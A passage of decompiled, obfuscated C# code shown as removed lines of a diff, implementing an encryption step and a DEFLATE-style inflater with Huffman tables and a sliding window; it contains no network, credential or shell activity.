cryptoServiceProvider.CreateEncryptor(); - buffer5 = encryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length); - obj5.Write(buffer5, 0, buffer5.Length); - cryptoServiceProvider.Clear(); - } - } - obj5.Flush(); - obj5.Close(); - numArray2 = obj5.ToArray(); - } - catch (Exception ex) - { - \u0006.\u0001 = "ERR 2003: " + ex.Message; - numArray2 = (byte[]) null; - } - return numArray2; - } - catch (Exception ex) - { - byte[] numArray3; - object[] objArray = new object[35] - { - (object) obj5, - (object) obj4, - (object) now, - (object) num1, - (object) numArray1, - (object) maxValue, - (object) num2, - (object) num3, - (object) length, - (object) position1, - (object) bytes, - (object) buffer1, - (object) count1, - (object) buffer2, - (object) count2, - (object) num4, - (object) srcOffset, - (object) dst, - (object) position2, - (object) obj6, - (object) buffer3, - (object) count3, - (object) buffer4, - (object) count4, - (object) position3, - (object) inputBuffer, - (object) cryptoServiceProvider, - (object) encryptor, - (object) buffer5, - (object) ex, - (object) numArray3, - (object) obj0, - (object) obj1, - (object) obj2, - (object) obj3 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - internal sealed class \u0001 - { - private static int[] \u0001; - private static int[] \u0002; - private static int[] \u0003; - private static int[] \u0004; - private int \u0001; - private int \u0002; - private int \u0003; - private int \u0004; - private int \u0005; - private bool \u0001; - private \u0006.\u0002 \u0001; - private \u0006.\u0003 \u0001; - private \u0006.\u0005 \u0001; - private \u0006.\u0004 \u0001; - private \u0006.\u0004 \u0002; - - public \u0001([In] byte[] obj0) - { - try - { - this.\u0001 = new \u0006.\u0002(); - this.\u0001 = new \u0006.\u0003(); - this.\u0001 = 2; - this.\u0001.\u0003(obj0, 0, obj0.Length); - } - catch (Exception ex) - { - byte[] numArray = obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) numArray); - } - } - - private bool \u0003() - { - int num1; - int index; - int num2; - int num3; - int num4; - try - { - num2 = this.\u0001.\u0003(); - while (num2 >= 258) - { - num1 = this.\u0001; - switch (num1) - { - case 7: - while (((index = this.\u0001.\u0003(this.\u0001)) & -256) == 0) - { - this.\u0001.\u0003(index); - if (--num2 < 258) - return true; - } - if (index < 257) - { - if (index < 0) - return false; - this.\u0002 = (\u0006.\u0004) null; - this.\u0001 = (\u0006.\u0004) null; - this.\u0001 = 2; - return true; - } - this.\u0003 = \u0006.\u0001.\u0001[index - 257]; - this.\u0002 = \u0006.\u0001.\u0002[index - 257]; - goto case 8; - case 8: - if (this.\u0002 > 0) - { - this.\u0001 = 8; - num3 = this.\u0001.\u0003(this.\u0002); - if (num3 < 0) - return false; - this.\u0001.\u0003(this.\u0002); - this.\u0003 += num3; - } - this.\u0001 = 9; - goto case 9; - case 9: - index = this.\u0002.\u0003(this.\u0001); - if (index < 0) - return false; - this.\u0004 = \u0006.\u0001.\u0003[index]; - this.\u0002 = \u0006.\u0001.\u0004[index]; - goto case 10; - case 10: - if (this.\u0002 > 0) - { - this.\u0001 = 10; - num4 = this.\u0001.\u0003(this.\u0002); - if (num4 < 0) - return false; - this.\u0001.\u0003(this.\u0002); - this.\u0004 += num4; - } - this.\u0001.\u0003(this.\u0003, this.\u0004); - num2 -= this.\u0003; - this.\u0001 = 7; - continue; - default: - continue; - } - } - return true; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num1; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this); - } - } - - private bool \u0004() - { - int num1; - int num2; - int num3; - int num4; - int num5; - int num6; - try - { - num6 = this.\u0001; - switch (num6) - { - case 2: - if (this.\u0001) - { - this.\u0001 = 12; - return false; - } - num1 = this.\u0001.\u0003(3); - if (num1 < 0) - return false; - this.\u0001.\u0003(3); - if ((num1 & 1) != 0) - this.\u0001 = true; - num2 = num1 >> 1; - switch (num2) - { - case 0: - this.\u0001.\u0003(); - this.\u0001 = 3; - break; - case 1: - this.\u0001 = \u0006.\u0004.\u0001; - this.\u0002 = \u0006.\u0004.\u0002; - this.\u0001 = 7; - break; - case 2: - this.\u0001 = new \u0006.\u0005(); - this.\u0001 = 6; - break; - } - return true; - case 3: - this.\u0005 = num3 = this.\u0001.\u0003(16); - if (num3 < 0) - return false; - this.\u0001.\u0003(16); - this.\u0001 = 4; - goto case 4; - case 4: - num4 = this.\u0001.\u0003(16); - if (num4 < 0) - return false; - this.\u0001.\u0003(16); - this.\u0001 = 5; - goto case 5; - case 5: - num5 = this.\u0001.\u0003(this.\u0001, this.\u0005); - this.\u0005 -= num5; - if (this.\u0005 != 0) - return !this.\u0001.\u0003(); - this.\u0001 = 2; - return true; - case 6: - if (!this.\u0001.\u0003(this.\u0001)) - return false; - this.\u0001 = this.\u0001.\u0003(); - this.\u0002 = this.\u0001.\u0004(); - this.\u0001 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0003(); - case 12: - return false; - default: - return false; - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num5; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num6; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num3; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this); - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1; - int num2; - try - { - num2 = 0; - do - { - if (this.\u0001 != 11) - goto label_5; -label_2: - continue; -label_5: - num1 = this.\u0001.\u0003(obj0, obj1, obj2); - obj1 += num1; - num2 += num1; - obj2 -= num1; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0004() || this.\u0001.\u0004() > 0 && this.\u0001 != 11); - goto label_3; -label_1: - return num2; -label_3: - return num2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj2; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) numArray, (object) local3, (object) local4); - } - } - - static \u0001() - { - try - { - \u0006.\u0001.\u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - \u0006.\u0001.\u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - \u0006.\u0001.\u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - \u0006.\u0001.\u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - } - - internal sealed class \u0002 - { - private byte[] \u0001; - private int \u0001; - private int \u0002; - private uint \u0001; - private int \u0003; - - public int \u0003([In] int obj0) - { - int num1; - int num2; - try - { - if (this.\u0003 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0001 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0001 == this.\u0002) - return -1; - \u0006.\u0002 obj = this; - int num3 = (int) obj.\u0001; - byte[] numArray1 = this.\u0001; - num1 = this.\u0001++; - int index1 = num1; - int num4 = (int) numArray1[index1] & (int) byte.MaxValue; - byte[] numArray2 = this.\u0001; - num2 = this.\u0001++; - int index2 = num2; - int num5 = ((int) numArray2[index2] & (int) byte.MaxValue) << 8; - int num6 = (num4 | num5) << this.\u0003; - obj.\u0001 = (uint) (num3 | num6); - this.\u0003 += 16; - goto label_3; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3); - } - } - - public void \u0003([In] int obj0) - { - try - { - this.\u0001 >>= obj0; - this.\u0003 -= obj0; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) local); - } - } - - [SpecialName] - public int \u0003() - { - try - { - return this.\u0003; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [SpecialName] - public int \u0004() - { - try - { - return this.\u0002 - this.\u0001 + (this.\u0003 >> 3); - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public void \u0003() - { - try - { - this.\u0001 >>= this.\u0003 & 7; - this.\u0003 &= -8; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [SpecialName] - public bool \u0003() - { - try - { - return this.\u0001 == this.\u0002; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1; - int num2; - int num3; - try - { - num1 = 0; - while (this.\u0003 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0001; - this.\u0001 >>= 8; - this.\u0003 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - num2 = this.\u0002 - this.\u0001; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); - this.\u0001 += obj2; - if ((this.\u0001 - this.\u0002 & 1) != 0) - { - byte[] numArray = this.\u0001; - num3 = this.\u0001++; - int index = num3; - this.\u0001 = (uint) numArray[index] & (uint) byte.MaxValue; - this.\u0003 = 8; - } - return num1 + obj2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) obj2; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5); - } - } - - public \u0002() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num; - try - { - if (this.\u0001 < this.\u0002) - throw new InvalidOperationException(); - num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0001 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0003); - this.\u0003 += 8; - } - this.\u0001 = obj0; - this.\u0001 = obj1; - this.\u0002 = num; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj2; - throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3); - } - } - } - - internal sealed class \u0003 - { - private static int \u0001; - private static int \u0002; - private byte[] \u0001 = new byte[\u0006.\u0003.\u0001]; - private int \u0003; - private int \u0004; - - public void \u0003([In] int obj0) - { - int num1; - int num2; - try - { - \u0006.\u0003 obj = this; - int num3; - num2 = num3 = obj.\u0004; - obj.\u0004 = num3 + 1; - if (num2 == \u0006.\u0003.\u0001) - throw new InvalidOperationException(); - byte[] numArray = this.\u0001; - num1 = this.\u0003++; - int index = num1; - int num4 = (int) (byte) obj0; - numArray[index] = (byte) num4; - this.\u0003 &= \u0006.\u0003.\u0002; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3); - } - } - - private void \u0003([In] int obj0, [In] int obj1, [In] int obj2) - { - int num1; - try - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0001; - \u0006.\u0003 obj = this; - int num2; - num1 = num2 = obj.\u0003; - obj.\u0003 = num2 + 1; - int index = num1; - int num3 = (int) this.\u0001[obj0++]; - numArray[index] = (byte) num3; - this.\u0003 &= \u0006.\u0003.\u0002; - obj0 &= \u0006.\u0003.\u0002; - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj2; - throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2, (object) local3, (object) local4); - } - } - - public void \u0003([In] int obj0, [In] int obj1) - { - int num1; - int sourceIndex; - int num2; - int num3; - try - { - num1 = (this.\u0004 += obj0); - if (num1 > \u0006.\u0003.\u0001) - throw new InvalidOperationException(); - sourceIndex = this.\u0003 - obj1 & \u0006.\u0003.\u0002; - num2 = \u0006.\u0003.\u0001 - obj0; - if (sourceIndex <= num2 && this.\u0003 < num2) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0003, obj0); - this.\u0003 += obj0; - } - else - { - while (obj0-- > 0) - { - byte[] numArray = this.\u0001; - num3 = this.\u0003++; - int index = num3; - int num4 = (int) this.\u0001[sourceIndex++]; - numArray[index] = (byte) num4; - } - } - } - else - this.\u0003(sourceIndex, obj0, obj1); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) sourceIndex; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) obj1; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this, (object) local5, (object) local6); - } - } - - public int \u0003([In] \u0006.\u0002 obj0, [In] int obj1) - { - int num1; - int num2; - try - { - obj1 = Math.Min(Math.Min(obj1, \u0006.\u0003.\u0001 - this.\u0004), obj0.\u0004()); - num1 = \u0006.\u0003.\u0001 - this.\u0003; - if (obj1 > num1) - { - num2 = obj0.\u0003(this.\u0001, this.\u0003, num1); - if (num2 == num1) - num2 += obj0.\u0003(this.\u0001, 0, obj1 - num1); - } - else - num2 = obj0.\u0003(this.\u0001, this.\u0003, obj1); - this.\u0003 = this.\u0003 + num2 & \u0006.\u0003.\u0002; - this.\u0004 += num2; - return num2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - \u0006.\u0002 obj = obj0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj1; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) obj, (object) local3); - } - } - - public int \u0003() - { - try - { - return \u0006.\u0003.\u0001 - this.\u0004; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public int \u0004() - { - try - { - return this.\u0004; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1; - int num2; - int length; - try - { - num1 = this.\u0003; - if (obj2 > this.\u0004) - obj2 = this.\u0004; - else - num1 = this.\u0003 - this.\u0004 + obj2 & \u0006.\u0003.\u0002; - num2 = obj2; - length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0001, \u0006.\u0003.\u0001 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0004 -= num2; - if (this.\u0004 < 0) - throw new InvalidOperationException(); - return num2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) length; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) obj2; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5); - } - } - - public \u0003() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - static \u0003() - { - try - { - \u0006.\u0003.\u0001 = 32768; - \u0006.\u0003.\u0002 = \u0006.\u0003.\u0001 - 1; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - } - - internal sealed class \u0004 - { - private static int \u0001; - private short[] \u0001; - public static \u0006.\u0004 \u0001; - public static \u0006.\u0004 \u0002; - - static \u0004() - { - int num; - byte[] numArray1; - try - { - \u0006.\u0004.\u0001 = 15; - numArray1 = new byte[288]; - num = 0; - while (num < 144) - numArray1[num++] = (byte) 8; - while (num < 256) - numArray1[num++] = (byte) 9; - while (num < 280) - numArray1[num++] = (byte) 7; - while (num < 288) - numArray1[num++] = (byte) 8; - \u0006.\u0004.\u0001 = new \u0006.\u0004(numArray1); - numArray1 = new byte[32]; - num = 0; - while (num < 32) - numArray1[num++] = (byte) 5; - \u0006.\u0004.\u0002 = new \u0006.\u0004(numArray1); - } - catch (Exception ex) - { - byte[] numArray2 = numArray1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - throw UnhandledException.\u0003(ex, (object) numArray2, (object) local); - } - } - - public \u0004([In] byte[] obj0) - { - try - { - this.\u0003(obj0); - } - catch (Exception ex) - { - byte[] numArray = obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) numArray); - } - } - - private void \u0003([In] byte[] obj0) - { - int index1; - int index2; - int[] numArray1; - int num1; - int length; - int index3; - int[] numArray2; - int num2; - int num3; - int num4; - int index4; - int num5; - int num6; - int num7; - int index5; - int index6; - int index7; - int num8; - int num9; - try - { - numArray1 = new int[\u0006.\u0004.\u0001 + 1]; - numArray2 = new int[\u0006.\u0004.\u0001 + 1]; - for (index1 = 0; index1 < obj0.Length; ++index1) - { - index2 = (int) obj0[index1]; - if (index2 > 0) - ++numArray1[index2]; - } - num1 = 0; - length = 512; - for (index3 = 1; index3 <= \u0006.\u0004.\u0001; ++index3) - { - numArray2[index3] = num1; - num1 += numArray1[index3] << 16 - index3; - if (index3 >= 10) - { - num2 = numArray2[index3] & 130944; - num3 = num1 & 130944; - length += num3 - num2 >> 16 - index3; - } - } - this.\u0001 = new short[length]; - num4 = 512; - for (index4 = \u0006.\u0004.\u0001; index4 >= 10; --index4) - { - num5 = num1 & 130944; - num1 -= numArray1[index4] << 16 - index4; - num6 = num1 & 130944; - for (num7 = num6; num7 < num5; num7 += 128) - { - this.\u0001[(int) \u0006.\u0007.\u0003(num7)] = (short) (-num4 << 4 | index4); - num4 += 1 << index4 - 9; - } - } - for (index5 = 0; index5 < obj0.Length; ++index5) - { - index6 = (int) obj0[index5]; - if (index6 != 0) - { - num1 = numArray2[index6]; - index7 = (int) \u0006.\u0007.\u0003(num1); - if (index6 <= 9) - { - do - { - this.\u0001[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - num8 = (int) this.\u0001[index7 & 511]; - num9 = 1 << (num8 & 15); - num8 = -(num8 >> 4); - do - { - this.\u0001[num8 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num9); - } - numArray2[index6] = num1 + (1 << 16 - index6); - } - } - } - catch (Exception ex) - { - object[] objArray = new object[21] - { - (object) numArray1, - (object) numArray2, - (object) index1, - (object) index2, - (object) num1, - (object) length, - (object) index3, - (object) num2, - (object) num3, - (object) num4, - (object) index4, - (object) num5, - (object) num6, - (object) num7, - (object) index5, - (object) index6, - (object) index7, - (object) num8, - (object) num9, - (object) this, - (object) obj0 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - public int \u0003([In] \u0006.\u0002 obj0) - { - int index; - int num1; - int num2; - int num3; - int num4; - int num5; - try - { - if ((index = obj0.\u0003(9)) >= 0) - { - if ((num1 = (int) this.\u0001[index]) >= 0) - { - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - num2 = -(num1 >> 4); - num3 = num1 & 15; - if ((index = obj0.\u0003(num3)) >= 0) - { - num1 = (int) this.\u0001[num2 | index >> 9]; - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - num4 = obj0.\u0003(); - index = obj0.\u0003(num4); - num1 = (int) this.\u0001[num2 | index >> 9]; - if ((num1 & 15) > num4) - return -1; - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - num5 = obj0.\u0003(); - index = obj0.\u0003(num5); - num1 = (int) this.\u0001[index]; - if (num1 < 0 || (num1 & 15) > num5) - return -1; - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num5; - \u0006.\u0002 obj = obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj); - } - } - } - - internal sealed class \u0005 - { - private static readonly int[] \u0001; - private static readonly int[] \u0002; - private byte[] \u0001; - private byte[] \u0002; - private \u0006.\u0004 \u0001; - private int \u0001; - private int \u0002; - private int \u0003; - private int \u0004; - private int \u0005; - private int \u0006; - private byte \u0001; - private int \u0007; - private static readonly int[] \u0003; - - public \u0005() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public bool \u0003([In] \u0006.\u0002 obj0) - { - int num1; - int num2; - int num3; - byte num4; - int num5; - int num6; - int num7; - int num8; - try - { - while (true) - { - num8 = this.\u0001; - switch (num8) - { - case 0: - this.\u0002 = obj0.\u0003(5); - if (this.\u0002 >= 0) - { - this.\u0002 += 257; - obj0.\u0003(5); - this.\u0001 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0003 = obj0.\u0003(5); - if (this.\u0003 >= 0) - { - ++this.\u0003; - obj0.\u0003(5); - this.\u0005 = this.\u0002 + this.\u0003; - this.\u0002 = new byte[this.\u0005]; - this.\u0001 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u0004 = obj0.\u0003(4); - if (this.\u0004 >= 0) - { - this.\u0004 += 4; - obj0.\u0003(4); - this.\u0001 = new byte[19]; - this.\u0007 = 0; - this.\u0001 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0007 < this.\u0004; ++this.\u0007) - { - num1 = obj0.\u0003(3); - if (num1 < 0) - return false; - obj0.\u0003(3); - this.\u0001[\u0006.\u0005.\u0003[this.\u0007]] = (byte) num1; - } - this.\u0001 = new \u0006.\u0004(this.\u0001); - this.\u0001 = (byte[]) null; - this.\u0007 = 0; - this.\u0001 = 4; - goto case 4; - case 4: - while (((num3 = this.\u0001.\u0003(obj0)) & -16) == 0) - { - byte[] numArray = this.\u0002; - num2 = this.\u0007++; - int index = num2; - this.\u0001 = num4 = (byte) num3; - int num9 = (int) num4; - numArray[index] = (byte) num9; - if (this.\u0007 == this.\u0005) - return true; - } - if (num3 >= 0) - { - if (num3 >= 17) - this.\u0001 = (byte) 0; - this.\u0006 = num3 - 16; - this.\u0001 = 5; - goto case 5; - } - else - goto label_19; - case 5: - num5 = \u0006.\u0005.\u0002[this.\u0006]; - num6 = obj0.\u0003(num5); - if (num6 >= 0) - { - obj0.\u0003(num5); - num6 += \u0006.\u0005.\u0001[this.\u0006]; - while (num6-- > 0) - { - byte[] numArray = this.\u0002; - num7 = this.\u0007++; - int index = num7; - int num10 = (int) this.\u0001; - numArray[index] = (byte) num10; - } - if (this.\u0007 != this.\u0005) - { - this.\u0001 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num5; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num6; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num8; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local7 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local8 = (ValueType) num7; - \u0006.\u0002 obj = obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) local7, (object) local8, (object) this, (object) obj); - } - } - - public \u0006.\u0004 \u0003() - { - byte[] destinationArray; - try - { - destinationArray = new byte[this.\u0002]; - Array.Copy((Array) this.\u0002, 0, (Array) destinationArray, 0, this.\u0002); - return new \u0006.\u0004(destinationArray); - } - catch (Exception ex) - { - byte[] numArray = destinationArray; - throw UnhandledException.\u0003(ex, (object) numArray, (object) this); - } - } - - public \u0006.\u0004 \u0004() - { - byte[] destinationArray; - try - { - destinationArray = new byte[this.\u0003]; - Array.Copy((Array) this.\u0002, this.\u0002, (Array) destinationArray, 0, this.\u0003); - return new \u0006.\u0004(destinationArray); - } - catch (Exception ex) - { - byte[] numArray = destinationArray; - throw UnhandledException.\u0003(ex, (object) numArray, (object) this); - } - } - - static \u0005() - { - try - { - \u0006.\u0005.\u0001 = new int[3] - { - 3, - 3, - 11 - }; - \u0006.\u0005.\u0002 = new int[3]{ 2, 3, 7 }; - \u0006.\u0005.\u0003 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - } - - internal sealed class \u0006 - { - private int \u0001 = 16; - private long \u0001; - private \u0006.\u000E \u0001; - private \u0006.\u0008 \u0001; - - public \u0006() - { - try - { - this.\u0001 = new \u0006.\u000E(); - this.\u0001 = new \u0006.\u0008(this.\u0001); - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [SpecialName] - public long \u0003() - { - try - { - return this.\u0001; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public void \u0003() - { - try - { - this.\u0001 |= 12; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [SpecialName] - public bool \u0003() - { - try - { - return this.\u0001 == 30 && this.\u0001.\u0003(); - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [SpecialName] - public bool \u0004() - { - try - { - return this.\u0001.\u0003(); - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public void \u0003([In] byte[] obj0) - { - try - { - this.\u0001.\u0003(obj0); - } - catch (Exception ex) - { - byte[] numArray = obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) numArray); - } - } - - public int \u0003([In] byte[] obj0) - { - int length; - int num1; - int num2; - int num3; - int num4; - try - { - num2 = 0; - length = obj0.Length; - num1 = length; - while (true) - { - do - { - do - { - num3 = this.\u0001.\u0003(obj0, num2, length); - num2 += num3; - this.\u0001 += (long) num3; - length -= num3; - if (length == 0 || this.\u0001 == 30) - goto label_12; - } - while (this.\u0001.\u0004((this.\u0001 & 4) != 0, (this.\u0001 & 8) != 0)); - if (this.\u0001 == 16) - return num1 - length; - if (this.\u0001 == 20) - { - for (num4 = 8 + (-this.\u0001.\u0003() & 7); num4 > 0; num4 -= 10) - this.\u0001.\u0003(2, 10); - this.\u0001 = 16; - } - } - while (this.\u0001 != 28); - 